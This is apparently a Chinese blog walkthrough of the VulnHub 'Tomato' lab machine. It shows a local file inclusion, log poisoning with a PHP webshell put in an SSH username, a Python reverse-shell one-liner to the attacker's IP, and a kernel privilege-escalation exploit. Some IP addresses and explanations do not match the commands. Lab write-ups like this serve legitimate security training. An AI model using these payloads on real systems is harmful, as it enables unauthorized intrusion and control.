【打靶记录】VulnHub-Tomato靶机渗透wp

目录

简介

(1)导入靶机 

(2)信息搜集

1、主机发现

2、端口扫描

3、访问Web服务

4、目录扫描

(3)漏洞利用

方法1:报错连接 2211

方法2:使用python3进行反弹shell

(4)提权


简介

Tomato靶机是一个用于渗透测试和漏洞研究的虚拟机。它是由Tomato Security公司开发的,基于Debian操作系统,并包含了多个常见的漏洞和安全工具,如Metasploit、Nmap、Burp Suite等。它模拟了一个真实的网络环境,用户可以在其中执行实际的攻击和渗透测试,以测试其安全性和发现潜在的漏洞。

tomato靶机下载地址:https://www.vulnhub.com/entry/tomato-1,557/

攻击机(Kali Linux)IP:192.168.47.129

(1)导入靶机 

虚拟机设置里面选择NAT模式,并勾选设备状态下两个选项,设置好后重启靶机

不设置这一步的话,kali没办法ping通tomato靶机

(2)信息搜集

1、主机发现

因为靶机与宿主机在同一网段,所以用二级扫描来发现靶机ip:arp-scan -l

发现靶机ip为192.168.47.140

2、端口扫描

nmap 192.168.47.140

发现21、80和8888端口开启

nmap -sC -sV -O 192.168.47.140

-sC常见漏洞脚本扫描 -sV开放端口服务/版本号 -O操作系统探测

3、访问Web服务

网页上访问192.168.47.129,出现一个大番茄

访问192.168.47.129:8888,弹出一个登录框

4、目录扫描

使用dirb进行目录扫描:dirb http://192.168.47.140/

扫描结果如下

访问antibot_image目录

查看info.php的网页源码,发现存在文件包含漏洞

什么是文件包含漏洞呢?

原理:包含可以代码执行的文件(php可以文件读取,也可能造成命令执行)

这个漏洞最重要的有四个函数

1、include:找不到文件产生警告,脚本继续运行。

2、include_once:相对于include,文件被包含后不会再次被包含。

3、require:找不到文件,产生致命错误,脚本停止。

4、require_once:相对于require,文件被包含后不会再次被包含。

分类:分为两种,RFI (远程文件包含) LFI(本地文件包含漏洞),两者的主要区别在于php.ini中是否开启了allow_url_include。如果开启了就有可能是远程文件包含

(3)漏洞利用

在URL后面输入 ?image=/etc/passwd (用image参数传入想要获取的文件路径)

成功显示,说明存在文件包含漏洞

发现端口没有全部扫描出来,使用这个命令扫描nmap -A 192.168.184.154 -p-

-A: 这个选项启用了“侵略性扫描”,包括操作系统检测、版本检测、脚本扫描和跟踪路由等功能。侵略性扫描通常会提供更多的信息,但也可能引起目标系统的注意。

-p-: 这个选项告诉 nmap 扫描目标系统上的所有可能的端口。扫描所有端口可能会耗费一定的时间,但可以全面了解目标系统上开放的哪些端口,以及哪些端口可能存在漏洞。

扫描出来2211,是ssh的连接端口

方法1:报错连接 2211

ssh '<?php @eval($_POST[1]);?>'@192.168.47.140 -p 2211


然后在网页端查看ubuntu报错信息:/var/log/auth.log

/var/log/auth.log 记录了所有和用户认证相关的日志 。无论是我们通过 ssh 登录,还是通过 sudo 执行命令都会在 auth.log 中产生记录。

该目录下发现多了一些报错信息,大概率写入木马成功,

使用中国蚁剑进行连接

上传了一句话木马的路径:http://192.168.47.140/antibot_image/antibots/info.php?image=/var/log/auth.log

连接密码是刚刚POST传入的:1

成功拿到整个网站的目录信息

选择打开虚拟终端

可以执行一些终端命令

方法2:使用python3进行反弹shell

写入一句话木马:ssh '<?php echo system($_GET["aaa"]); ?>'@192.168.47.140 -p 2211

在命令中,它尝试通过 SSH 连接到 IP 地址为 "192.168.47.140" 的主机,使用用户名 '<?php echo system($_GET["aaa"]); ?>',并指定端口号为 2211。

这个用户名包含了 PHP 代码,具体来说,它尝试通过 PHP system 函数执行传递给它的参数,而参数来自于 URL 查询字符串中的aaa 参数。这可能是一个恶意操作,用于尝试在远程主机上执行恶意命令或代码。

下面命令执行成功,说明一句话木马写入成功

http://192.168.47.140/antibot_image/antibots/info.php?image=/var/log/auth.log&aaa=id

在kali打开监听端口:nc -lnvp 4444

使用python3进行反弹shell,在浏览器中输入:

http://192.168.47.140/antibot_image/antibots/info.php?image=/var/log/auth.log&aaa=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.47.129",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

这行代码是一个Python单行命令,它尝试建立一个与指定IP地址("192.168.126.129")和端口号(4444)的远程网络连接,然后在本地绑定标准输入、输出和错误,最后尝试通过pty.spawn("sh")来创建一个本地shell会话。这段代码的主要目的是建立一个远程访问通道,以便通过网络进行计算机访问和控制。

kali监听到操作,成功获得靶机shell

生成可交互式的shell:python3 -c "import pty;pty.spawn('/bin/bash')"

(4)提权

查看系统内核版本:uname -a

发现系统内核是:Linux ubuntu 4.4.0-21-generic

在kali中查找该系统内核的提权包:searchsploit ubuntu 4.4.0-21

不知道是哪个的话,挨个试,最后经过尝试得到可以使用45010,下载该包

此文件是.c文件,需要编译才能运行,这种情况最好是在目标服务器上进行编译并运行,但目标靶机没有gcc环境,意味着没办法进行编译,在这里选择在kali上编译完成后,再在靶机上运行程序

开启http服务:python3 -m http.server 80

到tmp目录下下载提权poc(为了避免权限不足)

执行exp文件:./exp,如果执行成功则提权成功

但我这里失败了,报错提示缺少GLIBC_2.34

我的kali是2.36版本的,版本不匹配,自己更新成相应的版本即可

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
【优质项目推荐】 1、项目代码均经过严格本地测试,运行OK,确保功能稳定后才上传平台。可放心下载并立即投入使用,若遇到任何使用问题,随时欢迎私信反馈与沟通,博主会第一时间回复。 2、项目适用于计算机相关专业(如计科、信息安全、数据科学、人工智能、通信、物联网、自动化、电子信息等)的在校学生、专业教师,或企业员工,小白入门等都适用。 3、该项目不仅具有很高的学习借鉴价值,对于初学者来说,也是入门进阶的绝佳选择;当然也可以直接用于 毕设、课设、期末大作业或项目初期立项演示等。 3、开放创新:如果您有一定基础,且热爱探索钻研,可以在此代码基础上二次开发,进行修改、扩展,创造出属于自己的独特应用。 欢迎下载使用优质资源!欢迎借鉴使用,并欢迎学习交流,共同探索编程的无穷魅力! 基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip 基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip 基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值